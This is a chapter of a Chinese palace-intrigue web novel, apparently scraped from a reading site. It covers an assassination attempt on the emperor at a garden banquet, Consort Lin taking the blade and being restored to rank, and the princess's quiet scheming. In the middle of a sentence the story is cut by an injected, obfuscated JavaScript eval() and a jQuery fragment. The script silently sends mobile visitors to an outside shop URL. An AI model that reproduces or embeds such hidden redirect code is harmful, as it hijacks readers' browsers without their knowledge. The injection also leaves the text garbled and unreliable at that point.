英婕妤自滑胎后,便整日郁郁寡欢,连宫门都不曾出过。明德帝心中有愧,竟不顾朝臣反对,破例将她晋为充媛。
东乾旧制,膝下无子者不可位列九嫔。如今这英婕妤入宫才不到半年,既无家世背景,容貌也算不得出挑,却能一举封嫔,宫里头不知有多少人恨得牙痒痒,可林贵妃旧例在前,一时间倒也没人敢轻举妄动,只得静观其变。
“爱妃今日身子可好些了?”
翌日,明德帝一下朝便直奔似锦宫,莫染礼才行了一半,便被他轻扶起来,嘘寒问暖道。
“谢陛下关心,臣妾身子已无大碍。只是……”莫染乖顺地轻倚在明德帝怀中,瞥见这一室琳琅满目的宝物,眉心微蹙,道:“陛下盛宠,臣妾实在无福消受。若是因此令陛下与朝臣离了心,臣妾万死难赎。”
“胡说什么!”明德帝轻斥,却不曾真的生气,将她搂得更紧了些,安慰道:“朕给你的赏赐,你安心受着便是。若有哪个不长眼的胆敢在你耳边嚼舌根,你告诉朕,朕替你处置了便是。”
“臣妾斗胆,还有一事相求。臣妾怀着皇儿时,蒙诸位姐姐抬举,送了不少东西过来。如今皇儿……臣妾不慎小产,这些人情欠着一日,臣妾便一日寝食难安。请陛下允臣妾在宫中办一场赏花宴,宴请宫中姐妹,如此,臣妾便能稍稍安心些。”
莫染垂下眼眸,看不清眼中的神情,再抬眼时,眼里满是哀求,明德帝心中的愧疚不由得多了几分,当即拍板道:“独乐乐不如众乐乐,既为赏花,便让各府的夫人小姐们一道进宫吧,宫中也许久没如此热闹过了。”
“臣妾谢陛下隆恩。”莫染施礼谢恩,唇角扬起苍白而满足的笑意,感激地看向明德帝:“还是陛下思虑周全,臣妾是万万想不了这么多的。”
“爱妃高兴便好。”明德帝拍了拍她的手,起身打算离开:“爱妃好好歇息,晚膳后,朕再来看你。”
“臣妾恭送陛下。”
目送明德帝走远,莫染脸上笑意渐敛,唤来小翠:“你去趟长乐宫,就说事已办妥。”
也不知这位昭宁殿下的葫芦里,又卖的什么药。
莫染眸色一沉,若有所思。
此次接到宫中帖子的,无不是朝廷重臣,各家夫人们谁都不想丢了颜面,早早地便带了自家的小姐们进宫来。一时间,偌大一个御花园竟是站满了人。
这种规格的宴会,来的都是朝廷大员的家眷,按理是要皇后亲自操持的。可沈皇后常年礼佛,早已不管后宫诸事,代掌凤印的林贵妃被废,其余位分高的妃嫔自是能看出皇上的心思,谁也不想触了他的霉头,更不愿替人做嫁衣,是以这差事,便落到了区区一个充媛身上。
莫染到底年轻,来的夫人们又不乏身负诰命、品阶在她之上的,为了给她撑腰,明德帝一下朝便到了这御花园。
众人感慨英充媛受宠的同时,连忙纷纷跪下行礼道:“见过陛下。”
明德帝亲自扶起莫染,而后冲着阶下跪着的众人笑道:“此乃家宴,夫人们不必拘礼,都起来吧。”
见众人起身,莫染自然而然接过话茬儿,唇角扬起雍容得体的笑。
“宫中的花虽开得甚好,看久了却难免无趣。皇上特命乐坊司备了些歌舞,夫人小姐们自娱便是。”
众人自是千恩万谢,说了不少奉承的话,被众星捧月的莫染,脸上的笑不自觉地带了些张扬得意。
一时间,御花园内其乐融融,宾主尽欢。
鼓点声渐急,舞姬们脚下越转越快,掀起阵阵香风,不知不觉间,原本互相攀谈着的夫人小姐们渐渐沉默下来,兀自赏起这胡旋舞来。
突然,众人只觉银光一闪,待回神时,却见立于中间的舞姬抽出腰间软刃,飞身朝着明德帝刺去。许是没想到竟会有人在戒备森严的皇宫内行刺,明德帝愣神片刻,竟忘了躲避。
在场的夫人小姐们这才反应过来,惊叫出声,御花园内一时乱作一团。
这御花园中皆是女子,金吾卫在此多有不便,见此变故,守在远处的金吾卫连忙飞身赶来救驾,可远水解不了近渴,他们动作再快,也没刺客快,只能眼睁睁看着那舞姬离皇上越来越近。
明德帝心中大骇,也不知为何,身子却似被定住般,连半分都动弹不得。剑光已至面前,明德帝额角冷汗直冒,近乎绝望地闭上眼。
“噗嗤”,是刀剑入体的声音,而后一阵浓郁的血腥味传来,却迟迟未有疼痛之感,明德帝有些诧异地睁开眼,只见一女子护在身前,死死握住那舞姬的软剑,她一时竟抽不出来。
此时,金吾卫纷纷赶到,将舞姬擒下,金吾卫统领沈默跪地请罪。
“臣救驾来迟,请陛下降罪。”
女子见状,这才松了握剑的手,回头看向明德帝,正欲说些什么,可话还未出口,她便晕了过去。明德帝下意识接住她滑落的身子,见她胸口处被捅了个大窟窿,还在不断往外冒着血,惨不忍睹。
“柔儿!快,传太医!”
明德帝的声音难得带了些颤抖,将林芷柔紧紧搂在怀中,目光阴鸷地盯着被五花大绑缚着的舞姬,一言不发。
戒备森严的皇宫中出了刺客不说,这林氏不是应该被圈在冷宫中,怎会突然出现在此,还替皇上挡了刀?
在场之人哗啦啦跪了一地,心思各异,却无一人敢抬头。
太医被金吾卫一路带着飞过来,还未来得及喘口气,却见明德帝面色阴沉,丝毫不敢耽搁,连忙上前查看伤势。
“如何?”
明德帝声音低沉嘶哑,听得太医心中一跳,赶忙回道:“回陛下,林……娘娘伤势虽重,但所幸避开了要害,只是失血过多,日后还需悉心调养。”
“嗯。”
明德帝这才松了口气,略一挥手,便有几个宫女上前,将林芷柔小心抬了下去。
“说,是谁派你来刺杀陛下的?”
得了明德帝的眼色,沈默上前,一把擒住舞姬的下巴,冷厉地问道。
舞姬冷笑一声,恶狠狠地瞪着明德帝,恨不能将他身上瞪出个窟窿来,声音凄厉地骂道:“狗皇帝,你不得好死!”
说完,她便口吐鲜血,头也无力地垂了下去。
沈默探了探她的鼻息,将她浑身上下都仔细探查了一番,这才对明德帝回禀道:“回陛下,刺客自知事情败露,服毒自尽了。臣搜遍她全身,并未发现任何东西。”
“你言下之意,便是什么也查不出了?”
明德帝的声音里压抑着汹涌的怒意,面色阴沉。
“臣无能。”
沈默叩首,却是半句都不为自己辩解。
“罢了,你自去领一百大板。朕给你十日,若再查不出刺客的身份,也不必再来见朕了。”
“谢陛下开恩。”
明德帝说完,目光阴恻恻地看了跪在他身侧的莫染一眼,而后由李全扶着离开了御花园。
完了。
方才明德帝的那一眼,显然是厌了她。
她自小在民间长大,平日里连杀只鸡都不敢,又哪里见过这等阵仗。那舞姬的剑刺过来的时候,她整个人都吓傻了,下意识便往一侧躲去以图自保,却把明德帝暴露在剑下,全然忘了后宫妃嫔的本分。
莫染跌坐在地,眼中满是绝望。
夜里,林芷柔幽幽转醒,下意识便想坐起来,却无意间牵动了伤势,霎时疼得冷汗直冒,整个人无力地跌在床上。
“娘娘!太医!”
“哐当”一声,芸蝶见状,手中的铜盆摔在地上,连忙冲到榻前,见包好的伤口又渗出血来,焦急地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17811142|210832||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
朝殿外喊道。
太医就在殿外守着,一听到声音,便带了药箱快步走了进来,指挥着医女将伤口重新包好,又细细地诊了脉,这才松了口气,嘱咐道:“娘娘受了伤,现下是万万动不得的,若伤口再裂开的话,性命不保。”
“都是奴婢的错,奴婢定日日守在娘娘身边。”
芸蝶一脸自责。
“本宫……这是怎么了?”
榻上的林芷柔突然开口问道。
“娘娘,陛下遇刺,您替陛下挡了剑,昏迷至今。”
想起自家娘娘一身是血地被抬回来的模样,芸蝶心有余悸地解释道。
“嗯。”
林芷柔虚弱地点点头,才说了这几句,她便觉得疲累得很,困意袭来,竟又沉沉睡了过去。
“太医?”
芸蝶有些焦急地看向太医。
“无碍,娘娘失血过多,这才困倦嗜睡了些。”
芸蝶点点头,守在榻旁,一步也不曾离开,心思却渐渐飘远。
今日晨起,不过打个水的功夫,她回来便发现娘娘不见了。若无陛下诏令,私自出冷宫可是抗旨之罪,芸蝶也不敢声张,只得避开宫人,四下寻找。可她找遍宫中,都没发现自家娘娘的身影,便只能回冷宫等着。谁知她才刚回去,便有太监来寻她,说是娘娘出了事,让她去承恩殿侍奉。
再然后,她便见娘娘一身是血地被抬回了承恩殿。
好端端的,娘娘为何私自出了冷宫,为何又替陛下挡了刀,她却不得而知。
也许这一切,只能等娘娘醒了,才能知晓了。
两日后,林氏复位为贤妃的消息很快传遍六宫。
彼时,萧承曦正坐在窗前练字。得到消息,她只略一抬眸,手下动作却不停,待写完最后一字后,方才搁了笔,从椅子上起身。
栖桐见状,递了盏茶给她,自己则站在身侧,轻轻给她捏着肩。
“主子,一切如您所料。属下不解,为何陛下只封了贤妃?”
“有功当赏,有过则该罚。林氏虽救驾有功,但谋害皇嗣在先,抗旨出宫在后,贤妃之位,已是父皇格外开恩了。”
萧承曦抿了口茶,解释道。
“原是如此。”
栖桐恍然大悟,想起午时之事,回禀道:“主子,午时英充媛来过,属下见您在小憩,便令人将她打发走了。”
“她可说了什么?”
“并未。不过,属下见她似是有些心不在焉。”
“哦?”萧承曦唇角牵起一丝莫名的笑意,垂下眸子:“恐怕不是心不在焉,而是惶惶不可终日罢。”
“主子的意思是?”
栖桐也是个机敏的,萧承曦只略一提点,她便想明白其中的关窍所在。
为救皇上,林氏伤重至此,却未见莫染受什么伤,想来应是只顾着自保了。如今遭了陛下厌恶,倒是想起主子来了。
“她怕是有求于主子,没想到不赶巧。”
其实,栖桐虽不像傲梅一般,喜怒哀乐都挂在脸上,但内里也是个记仇的。
她虽未表现出来,但先前莫染阳奉阴违的事,她可没忘。
她也该吃些苦头,否则该忘了她如今的荣华富贵是怎么来的了。
栖桐的性子,萧承曦自是知晓的,她眼中那一闪而过的解气之色,萧承曦看在眼里,却没阻止,只不咸不淡地提醒道:“适可而止,不可做得太过。”
升米恩,斗米仇,有些人,也是时候该提点一二了。
“主子放心,属下心中有数。”
栖桐敛下眸中神色,郑重道。
“让劲松去陆府一趟,告诉她,是时候了。”
萧承曦放下手中的茶盏,望向窗外。
月色朦胧,长夜将尽。